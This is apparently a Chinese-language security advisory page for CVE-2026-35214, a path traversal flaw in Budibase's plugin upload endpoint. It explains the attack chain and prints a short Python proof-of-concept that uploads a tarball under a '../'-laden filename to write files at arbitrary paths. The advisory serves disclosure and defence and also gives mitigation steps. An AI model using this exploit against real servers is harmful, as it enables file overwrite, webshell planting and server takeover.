IPBUF安全漏洞报告
English
CVE-2026-35214 CVSS 8.7 高危

CVE-2026-35214 Budibase路径遍历漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35214
漏洞类型
路径遍历
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

路径遍历任意文件写入BudibaseCVE-2026-35214插件上传

漏洞概述

Budibase是一个开源低代码平台。在3.33.4版本之前,其插件文件上传端点存在安全漏洞。该端点未对用户提供的文件名进行路径遍历序列清理,直接传递给createTempFolder()。拥有Global Builder权限的攻击者可利用此漏洞,通过精心构造包含../的多部分上传请求,删除任意目录或通过tarball提取在文件系统任意位置写入文件。

技术细节

该漏洞源于Budibase插件上传功能的输入验证缺失。具体来说,当处理插件上传请求时,服务器从multipart/form-data中提取文件名,并直接将其传递给createTempFolder()函数,而未过滤如“../”的路径遍历字符。由于攻击者需要Global Builder权限,这属于一种高权限下的提权或破坏性攻击。攻击者通过发送特制的HTTP POST请求,其中文件名字段包含遍历序列(如“../../malicious.tar.gz”),服务器在后续处理中会先尝试通过rmSync删除基于该路径的目录,随后解压tar包。这允许攻击者覆盖关键系统文件或写入Webshell,从而完全控制服务器。

攻击链分析

STEP 1
步骤1
攻击者获取Budibase平台的Global Builder权限账号。
STEP 2
步骤2
构造恶意的multipart/form-data数据包,其中文件名字段包含路径遍历序列(如../)。
STEP 3
步骤3
将包含恶意tarball的请求发送至/api/plugin/upload端点。
STEP 4
步骤4
服务器端未清洗文件名,直接将其用于rmSync和tar解压操作。
STEP 5
步骤5
攻击者成功删除任意目录或在文件系统任意位置写入文件,导致服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable endpoint target_url = "http://vulnerable-host:10000/api/plugin/upload" # The attacker needs a valid session cookie with Global Builder privileges cookies = { "budibase:auth": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } # Prepare a malicious tar.gz file containing the payload # The filename includes '../' to traverse directories files = { 'file': ('../../tmp/evil_payload.tar.gz', open('evil_payload.tar.gz', 'rb'), 'application/gzip') } # Send the POST request to upload the plugin response = requests.post(target_url, files=files, cookies=cookies) # Check the response if response.status_code == 200: print("[+] Exploit successful! File written to arbitrary path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

影响范围

Budibase < 3.33.4

防御指南

临时缓解措施
建议立即检查系统版本,若无法升级,应暂时禁用插件上传功能或限制对/api/plugin/upload接口的访问,仅允许内网受信任IP调用,并密切监控系统文件异常变动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表